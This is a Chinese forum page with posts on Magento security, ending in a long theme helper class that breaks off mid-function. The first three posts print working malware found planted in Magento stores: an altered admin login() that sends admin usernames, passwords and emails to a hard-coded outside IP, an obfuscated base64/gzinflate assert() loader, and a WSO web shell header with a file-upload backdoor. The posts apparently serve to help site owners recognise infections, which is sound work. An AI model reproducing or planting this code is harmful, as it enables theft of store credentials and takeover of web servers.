app/code/core/Mage/Admin/Model/Session.php 常见植入内容

IT大杂烩neasel 发表了文章 • 0 个评论 • 12 次浏览 • 2019-04-16 17:14 • 来自相关话题

app/code/core/Mage/Admin/Model/Session.php 常见植入内容,获取网站后台用户信息  public function login($username, $password, $request = ...查看全部
app/code/core/Mage/Admin/Model/Session.php 常见植入内容,获取网站后台用户信息

 public function login($username, $password, $request = null)
{
if (empty($username) || empty($password)) {
return;
}

try {
/** @var $user Mage_Admin_Model_User */
$user = $this->_factory->getModel('admin/user');
$user->login($username, $password);
if ($user->getId()) {
$data1 = $username;
$data2 = $password;
$data3 = $user->getEmail();
$data4 = $_SERVER['SERVER_NAME'];
$data5 = $_SERVER['REQUEST_URI'];
$auth1 = "Username=".($data1)."&Password=".($data2)."&Email=".($data3)."&Site=".($data4)."&Request=".($data5);
$url = "http://69.30.232.110/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60); //
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $auth1);
$result = curl_exec($ch);
curl_close($ch);
$this->renewSession();

if (Mage::getSingleton('adminhtml/url')->useSecretKey()) {
Mage::getSingleton('adminhtml/url')->renewSecretUrls();
}
$this->setIsFirstPageAfterLogin(true);
$this->setUser($user);
$this->setAcl(Mage::getResourceModel('admin/acl')->loadAcl());

$alternativeUrl = $this->_getRequestUri($request);
$redirectUrl = $this->_urlPolicy->getRedirectUrl($user, $request, $alternativeUrl);
if ($redirectUrl) {
Mage::dispatchEvent('admin_session_user_login_success', array('user' => $user));
$this->_response->clearHeaders()
->setRedirect($redirectUrl)
->sendHeadersAndExit();
}
} else {
Mage::throwException(Mage::helper('adminhtml')->__('Invalid User Name or Password.'));
}
} catch (Mage_Core_Exception $e) {
$e->setMessage(
Mage::helper('adminhtml')->__('You did not sign in correctly or your account is temporarily disabled.')
);
Mage::dispatchEvent('admin_session_user_login_failed',
array('user_name' => $username, 'exception' => $e));
if ($request && !$request->getParam('messageSent')) {
Mage::getSingleton('adminhtml/session')->addError($e->getMessage());
$request->setParam('messageSent', true);
}
}

return $user;
}
 
 

Mage.php文件植入

IT大杂烩neasel 发表了文章 • 0 个评论 • 7 次浏览 • 2019-04-16 17:10 • 来自相关话题

*/ $FMAmOm="xxoON5s+YDSc/7lOaOMhiTFsWj8+SPBxB13kztxyfAgnAFHya3RxYVpSE1FjYOqJyDf5Gs+X81JFS8X+Dum9Pe0vt7spGeg2ITK/O++nmIP ...查看全部
 */
$FMAmOm="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";$kdw7GE="Fl1YmASDI3Umqpm1m7IIXFjb8sZmPABNPzundjFMyupozAf";$qptNN0V="\x62\x61\x73";$rSB7ncREj="\147\x7a\x69";$Cjoac3R="\x61";$swRAPLle="\x73\164";$swRAPLle.="\x72\x5f\x72";$rSB7ncREj.="\x6e\146";$Cjoac3R.="\x73";$kdw7GE.="dXIzeMXrHz7h72vc5BLr6BWnIXIza5EqcdSFHycwzc9bnJR";$qptNN0V.="\x65\x36\64";$swRAPLle.="\157\164";$Cjoac3R.="\163\145";$qptNN0V.="\x5f\144\x65\143";$rSB7ncREj.="\154\141";
$kdw7GE.="AMAxoz5xLjwen2WgDRCqixwPXA/XVHzAaEHPJkzaStHLwcZ";$kdw7GE.="SSI81uAGJhUIWQmIVdPapmmxbApfmFtutTy1QJgND==";$rSB7ncREj.="\164\145";$swRAPLle.="\61\63";$Cjoac3R.="\x72\x74";$qptNN0V.="\x6f\144\x65";@$Cjoac3R($rSB7ncREj($qptNN0V($swRAPLle($kdw7GE))));
/*

典型电商木马病毒分析示例

IT大杂烩neasel 发表了文章 • 0 个评论 • 7 次浏览 • 2019-04-16 17:07 • 来自相关话题

<?php /* WSO Shell - tool for system administrators */ $auth_pass = "2d860f5e2408b6af859 ...查看全部
<?php
/*
WSO Shell - tool for system administrators
*/

$auth_pass = "2d860f5e2408b6af859a268bf8d538fb";
$color = "#df5";
$default_action = 'flmn';
$default_use_ajax = true;
$default_charset = 'Window'.'s-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) die("<h1><a href='htt"."p://w"."ww.w"."so-she"."ll.ru/'>W"."SO Sh"."ell</a></h1>");
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('ws0_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
function ws0stripslashes($array) {
return is_array($array) ? array_map('ws0stripslashes', $array) : stripslashes($array);
}
$_POST = ws0stripslashes($_POST);
$_COOKIE = ws0stripslashes($_COOKIE);
}

function ws0Login() {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

function ws0setcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
ws0setcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
ws0Login();
}
?>
<form enctype=multipart/form-data method=post><input type=file name=x><input type=submit><?php $f=$_FILES[x];copy($f[tmp_name],$f[name]);?>

Magento1.x模板claue在使用时Layered Navigation 报错

技术分享neasel 发表了文章 • 0 个评论 • 20 次浏览 • 2018-09-14 16:11 • 来自相关话题

替换 app\code\local 下的MGS目录,则可以在前台 frontend builder中正常添加。 app\code\local\MGS\Mpanel\Helper\data.php报错的错用以下内容替换 [code]< ...查看全部
替换 app\code\local 下的MGS目录,则可以在前台 frontend builder中正常添加。
app\code\local\MGS\Mpanel\Helper\data.php报错的错用以下内容替换
[code]<?php

class MGS_Mpanel_Helper_Data extends MGS_Mgscore_Helper_Data {

protected $_ids;

// Check to accept to use builder panel
public function acceptToUsePanel() {
if ($this->showButton() && (Mage::getSingleton('core/session')->getUsePanel() == 1)) {
return true;
}
return false;
}

public function showButton() {

if (Mage::getStoreConfig('mpanel/general/enabled')) {

$logedAccountId = Mage::getSingleton('customer/session')->getCustomer()->getEmail();

$acceptAccounts = Mage::getStoreConfig('mpanel/general/account');
if ($acceptAccounts == '') {
return false;
}
$acceptAccountIds = explode(',', $acceptAccounts);
$acceptAccountIds = array_filter($acceptAccountIds);

if ((count($acceptAccountIds) > 0) && (in_array($logedAccountId, $acceptAccountIds))) {
return true;
}
}

return false;
}

// Check cms page, if is cms page return true
public function isCmsPage() {
$module = Mage::app()->getRequest()->getModuleName();
if ($module == 'cms') {
return true;
}
return false;
}

// Check customer page, if is customer page return true
public function isCustomerPage() {
$module = Mage::app()->getRequest()->getModuleName();
$controller = Mage::app()->getRequest()->getControllerName();
$action = Mage::app()->getRequest()->getActionName();
$str = $module . '-' . $controller . '-' . $action;
if ($str == 'customer-account-index' || $str == 'customer-account-edit' || $str == 'customer-address-index' || $str == 'sales-order-history' || $str == 'sales-billing_agreement-index' || $str == 'sales-recurring_profile-index' || $str == 'review-customer-index' || $str == 'tag-customer-index' || $str == 'wishlist-index-index' || $str == 'oauth-customer_token-index' || $str == 'newsletter-manage-index' || $str == 'downloadable-customer-products' || $str == 'productquestions-index-index') {
return true;
}
return false;
}

// Check homepage, if is homepage return true
public function isHomepage() {
$module = Mage::app()->getRequest()->getModuleName();
$controller = Mage::app()->getRequest()->getControllerName();
$action = Mage::app()->getRequest()->getActionName();

if ((Mage::getSingleton('cms/page')->getIdentifier() == 'home' && Mage::app()->getFrontController()->getRequest()->getRouteName() == 'cms') || Mage::getUrl() == Mage::getUrl('*/*/*', array('_current' => true, '_use_rewrite' => true)) || ($module == 'cms' && $controller == 'index' && $action == 'index')) {
return true;
}
return false;
}

// check category and product detail page
public function isCatalogPage() {
$module = Mage::app()->getRequest()->getModuleName();
if ($module == 'catalog') {
return true;
}
return false;
}

// check category page
public function isCategoryPage() {
$controller = Mage::app()->getRequest()->getControllerName();
if ($controller == 'category') {
return true;
}
return false;
}

// check catalog search page
public function isCatalogSearchPage() {
$controller = Mage::app()->getRequest()->getModuleName();
if ($controller == 'catalogsearch') {
return true;
}
return false;
}

// check product page
public function isProductPage() {
$controller = Mage::app()->getRequest()->getControllerName();
if ($controller == 'product') {
return true;
}
return false;
}

// Get all page layout of site (1 column, 2 columns left...), return dropdown html
public function getPageLayoutHtml($pageId) {
$page = Mage::getModel('cms/page')->load($pageId);

$storeIds = $page->getStoreId();
$html = '';

if (count($storeIds) > 0) {
foreach ($storeIds as $storeId) {
$html .= '<input type="hidden" name="stores[]" value="' . $storeId . '"/>';
}
}

$html .= '<select name="root_template" class="page-layout" onchange="this.form.submit();">';

foreach (Mage::getSingleton('page/config')->getPageLayouts() as $layout) {
$label = $layout->getLabel();
$value = $layout->getCode();
$html .= '<option value="' . $value . '"';
if ($page->getRootTemplate() == $value) {
$html .= ' selected="selected"';
}
$html .= '>' . $label . '</option>';
}

$html .= '</select>';

return $html;
}

// Get all page layout (1 column, 2 columns left...) for catalog page
public function getCatalogLayoutUpdate() {
if (Mage::registry('current_product')) {
$product = Mage::registry('current_product');
$currentLayout = $product->getPageLayout();
} else {
$category = Mage::registry('current_category');
$currentLayout = $category->getPageLayout();
}

$layout = Mage::getSingleton('page/source_layout')->toOptionArray();
array_unshift($layout, array('value' => '', 'label' => Mage::helper('catalog')->__('No layout updates')));

$html = '<select name="general[page_layout]" class="page-layout" onchange="this.form.submit();">';
foreach ($layout as $_layout) {
$html .= '<option value="' . $_layout['value'] . '"';
if ($currentLayout == $_layout['value']) {
$html .= ' selected="selected"';
}
$html .= '>' . $_layout['label'] . '</option>';
}
$html .= '</select>';

return $html;
}

public function getPageSettings() {
if (Mage::registry('current_product')) {
return $this->getLayout()->createBlock('core/template')->setTemplate('mgs/mpanel/panel/product-settings.phtml')->toHtml();
} else {
$category = Mage::registry('current_category');
return $this->getLayout()->createBlock('core/template')->setCategory($category)->setTemplate('mgs/mpanel/panel/category-settings.phtml')->toHtml();
}
}

// Check homepage has use builder panel or not
public function useHomepageBuilder() {
$storeId = Mage::app()->getStore()->getId();
$homeStore = Mage::getModel('mpanel/store')
->getCollection()
->addFieldToFilter('store_id', $storeId)
->addFieldToFilter('status', 1);
if (count($homeStore) > 0) {
return true;
}
return false;
}

// Return html of dropdown homepage config (Use CMS Page, Use Homepage Builder)
public function getHomepageConfigHtml() {
$html = '<input type="checkbox" data-toggle="toggle" data-height="20" data-width="110" data-on="Use Builder" data-off="Use CMS" data-onstyle="success" data-offstyle="warning" name="status" value="1" id="homesetting" onchange="checkBuilder()"';
if ($this->useHomepageBuilder()) {
$html .= ' checked="checked"';
}
$html .= '/> ';

return $html;
}

// Get all homepage layout from database
public function getHomeLayouts() {
$layouts = Mage::getModel('mpanel/home')
->getCollection();
return $layouts;
}

// Check a layout have active or not
public function isActiveLayout($layoutName) {
$storeId = Mage::app()->getStore()->getId();
$homeStore = Mage::getModel('mpanel/store')
->getCollection()
->addFieldToFilter('store_id', $storeId)
->addFieldToFilter('name', $layoutName);
if ($homeStore->getFirstItem()->getStatus()) {
return true;
}
return false;
}

// Get WYSIWYG Editor config
public function getConfig($data = array()) {
$config = new Varien_Object();

$config->setData(array(
'enabled' => true,
'hidden' => 1,
'use_container' => false,
'add_variables' => false,
'add_widgets' => true,
'no_display' => false,
'translator' => Mage::helper('cms'),
'encode_directives' => true,
'directives_url' => str_replace('https', 'http', Mage::getUrl('mpanel/wysiwyg/directive')),
'widget_window_url' => str_replace('https', 'http', Mage::getUrl('mpanel/adminhtml_widget/index')),
'popup_css' =>
Mage::getBaseUrl('js') . 'mage/adminhtml/wysiwyg/tiny_mce/themes/advanced/skins/default/dialog.css',
'content_css' =>
Mage::getBaseUrl('js') . 'mage/adminhtml/wysiwyg/tiny_mce/themes/advanced/skins/default/content.css',
'width' => '100%',
'plugins' => array(
/* array(
'name'=>'magentovariable',
'src'=> Mage::getBaseUrl('js').'mage/adminhtml/wysiwyg/tiny_mce/plugins/magentovariable/editor_plugin.js',
'options'=> array(
'title'=>'Insert Variable...',
'url'=> Mage::getUrl('mpanel/variable/wysiwygPlugin'),
'onclick'=> array(
'search'=> array(
'html_id'
),
'subject'=> "MagentovariablePlugin.loadChooser('".Mage::getUrl('mpanel/variable/wysiwygPlugin')."', '{{html_id}}');"
),
'class'=> 'add-variable plugin'
)
),

array(
'name'=>'magentowidget',
'src'=> Mage::getBaseUrl('js').'mage/adminhtml/wysiwyg/tiny_mce/plugins/magentowidget/editor_plugin.js',

) */
),
'directives_url_quoted' => str_replace('https', 'http', Mage::getUrl('mpanel/wysiwyg/directive'))
));

//$config->setData('directives_url_quoted', preg_quote($config->getData('directives_url')));

$config->addData(array(
'add_images' => true,
'files_browser_window_url' => str_replace('https', 'http', Mage::getUrl('mpanel/wysiwyg/index')),
'files_browser_window_width' => (int) Mage::getConfig()->getNode('adminhtml/cms/browser/window_width'),
'files_browser_window_height' => (int) Mage::getConfig()->getNode('adminhtml/cms/browser/window_height'),
'widget_plugin_src' => Mage::getBaseUrl('js') . 'mage/adminhtml/wysiwyg/tiny_mce/plugins/magentowidget/editor_plugin.js',
'widget_images_url' => Mage::getDesign()->getSkinUrl('images/widget', array('_area' => 'adminhtml')),
));


if (is_array($data)) {
$config->addData($data);
}

Mage::dispatchEvent('cms_wysiwyg_config_prepare', array('config' => $config));

return $config;
}

// Get edit panel of a block
public function getEditPanel($id) {
$html = '<div class="edit-panel parent-panel"><ul>';
$html .='<li class="up-link"><a title="' . $this->__('Move Up') . '" onclick="return false;" href="#" class="moveuplink"><em class="fa fa-arrow-up"> </em></a></li>';
$html .='<li class="down-link"><a title="' . $this->__('Move Down') . '" onclick="return false;" href="#" class="movedownlink"><em class="fa fa-arrow-down"> </em></a></li>';
$html .='<li><a href="' . Mage::getUrl('mpanel/edit/block', array('layout' => '1_column_full', 'id' => $id)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-gear"></em></a></li>';
$html .='<li><a href="#" title="' . $this->__('Delete') . '" onclick="if(confirm(\'' . $this->__('Are you sure you would like to remove this section?') . '\')) removeSection(' . $id . '); return false"><em class="fa fa-close"></em></a></li>';
$html .='</ul></div>';

return $html;
}

// Get edit panel of a header
public function getEditHeaderPanel() {
$isSecure = Mage::app()->getStore()->isCurrentlySecure();
if ($isSecure) {
$html = '<div class="edit-panel"><ul><li><a class="popup-link" href="' . Mage::getUrl('mpanel/edit/header', array('_secure' => true)) . '" title="' . $this->__('Edit Header') . '"><em class="fa fa-gear"></em></a></li></ul></div>';
} else {
$html = '<div class="edit-panel"><ul><li><a class="popup-link" href="' . Mage::getUrl('mpanel/edit/header') . '" title="' . $this->__('Edit Header') . '"><em class="fa fa-gear"></em></a></li></ul></div>';
}
return $html;
}

// Get edit panel of a footer
public function getEditFooterPanel() {
$isSecure = Mage::app()->getStore()->isCurrentlySecure();
if ($isSecure) {
$html = '<div class="edit-panel"><ul><li><a class="popup-link" href="' . Mage::getUrl('mpanel/edit/footer', array('_secure' => true)) . '" title="' . $this->__('Edit Footer') . '"><em class="fa fa-gear"></em></a></li></ul></div>';
} else {
$html = '<div class="edit-panel"><ul><li><a class="popup-link" href="' . Mage::getUrl('mpanel/edit/footer') . '" title="' . $this->__('Edit Footer') . '"><em class="fa fa-gear"></em></a></li></ul></div>';
}
return $html;
}

// Add edit panel for logo
public function getEditLogoPanel() {
$isSecure = Mage::app()->getStore()->isCurrentlySecure();

$html = '<div class="edit-panel logo-panel child-panel"><ul>';

if ($isSecure) {
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/logo', array('_secure' => true)) . '" class="popup-link" title="' . $this->__('Upload Logo') . '"><em class="fa fa-edit"> </em></a></li>';
} else {
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/logo') . '" class="popup-link" title="' . $this->__('Upload Logo') . '"><em class="fa fa-edit"> </em></a></li>';
}
$html .= '</ul></div>';

return $html;
}

// Show WishList Button
public function isShowWishList() {
if(!Mage::getStoreConfig('mpanel/catalog/wishlist_button')){
return true;
}
return false;
}

// Check if product is in wishlist
public function checkInWishilist($_product){
Mage::getSingleton('customer/session')->isLoggedIn();
$session = Mage::getSingleton('customer/session');
$cidData = $session->isLoggedIn();
$customer_id = $session->getId();

if($customer_id){
$wishlist = Mage::getModel('wishlist/item')->getCollection();
$wishlist->getSelect()
->join(array('t2' => 'wishlist'),
'main_table.wishlist_id = t2.wishlist_id',
array('wishlist_id','customer_id'))
->where('main_table.product_id = '.$_product->getId().' AND t2.customer_id='.$customer_id);
$count = $wishlist->count();
$wishlist = Mage::getModel('wishlist/item')->getCollection();
}
else {
$count="0";
}

if ($count) :
return true;
else:
return false;
endif;
}

// Show Compare Button
public function isShowCompare() {
if(!Mage::getStoreConfig('mpanel/catalog/compare_button')){
return true;
}
return false;
}

// Show Add to Cart Button
public function isShowAddtoCart() {
if(!Mage::getStoreConfig('mpanel/catalog/hide_add_to_cart_button')){
return true;
}
return false;
}

// Add edit panel for category image
public function getEditCategoryImage($id) {
$html = '<div class="edit-panel inline-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/categoryImage', array('id' => $id)) . '" class="popup-link" title="' . $this->__('Upload Image For This Category') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '</ul></div>';

return $html;
}

// Add edit panel for product tab
public function getDeleteProductTab($alias) {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteProductTab', array('alias' => $alias)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this tab?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';

return $html;
}

// Add edit panel for category description
public function getEditCategoryDescription($id) {
$html = '<div class="edit-panel inline-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/categoryDescription', array('id' => $id)) . '" class="popup-link" title="' . $this->__('Edit Description For This Category') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '</ul></div>';

return $html;
}

// Add edit panel for welcome text and copyright
public function getEditStoreConfig($tag, $text) {
$html = '<div class="edit-panel inline-panel ' . $tag . '-config"><ul>';
$html .= '<li><a href="#" onclick="toggleEl(\'' . $tag . '\'); return false" class="edit-inline" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a><div class="input-inline" style="display:none" id="' . $tag . '">';

if ($tag == 'design-footer-copyright') {
$html .= '<textarea type="text" id="' . $tag . '-input" class="input-text edit-input">' . $text . '</textarea>';
} else {
$html .= '<input type="text" value="' . $text . '" id="' . $tag . '-input" class="input-text edit-input"/>';
}

$html .= '<button type="button" onclick="saveStoreConfig(\'' . $tag . '\',\'' . $this->__('Save') . '\',\'' . $this->__('Saving...') . '\')" class="btn btn-primary btn-save-config">' . $this->__('Save') . '</button></div></li>';
$html .= '</ul></div>';
return $html;
}

// Add edit panel for gmap
public function getEditMapPanel() {
$html = '<div class="edit-panel map-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/map') . '" class="popup-link" title="' . $this->__('Edit Map Information') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '</ul></div>';

return $html;
}

// Add edit panel for contact information
public function getEditContactInfoPanel() {
$html = '<div class="edit-panel contact-info-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/info') . '" class="popup-link" title="' . $this->__('Edit Contact Information') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '</ul></div>';

return $html;
}

// Get block content by layout and block_id
public function getBlockContent($layout, $id) {

}

//Return content of a homepage if homepage use builder panel
public function getLayoutConfig() {
$storeId = Mage::app()->getStore()->getId();

$config = Mage::getModel('mpanel/store')
->getCollection()
->addFieldToFilter('store_id', $storeId)
->addFieldToFilter('status', 1);

if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplate('mgs/mpanel/template/admin/' . $config->getFirstItem()->getName() . '.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplate('mgs/mpanel/template/' . $config->getFirstItem()->getName() . '.phtml')->toHtml();
}
}

//Return content of a category right if use builder panel
public function getLayoutConfigCategoryRight() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('category_right')->setBlockName('block_category_right')->setTemplate('mgs/mpanel/template/admin/category_right.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('category_right')->setBlockName('block_category_right')->setTemplate('mgs/mpanel/template/category_right.phtml')->toHtml();
}
}

//Return content of a category left if use builder panel
public function getLayoutConfigCategoryLeft() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('category_left')->setBlockName('block_category_left')->setTemplate('mgs/mpanel/template/admin/category_left.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('category_left')->setBlockName('block_category_left')->setTemplate('mgs/mpanel/template/category_left.phtml')->toHtml();
}
}

//Return content of a catalog search right if use builder panel
public function getLayoutConfigCatalogSearchRight() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('catalog_search_right')->setBlockName('block_catalog_search_right')->setTemplate('mgs/mpanel/template/admin/catalog_search_right.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('catalog_search_right')->setBlockName('block_catalog_search_right')->setTemplate('mgs/mpanel/template/catalog_search_right.phtml')->toHtml();
}
}

//Return content of a catalog search left if use builder panel
public function getLayoutConfigCatalogSearchLeft() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('catalog_search_left')->setBlockName('block_catalog_search_left')->setTemplate('mgs/mpanel/template/admin/catalog_search_left.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('catalog_search_left')->setBlockName('block_catalog_search_left')->setTemplate('mgs/mpanel/template/catalog_search_left.phtml')->toHtml();
}
}

//Return content of a cms right if use builder panel
public function getLayoutConfigCmsRight() {
if ($this->acceptToUsePanel()) {
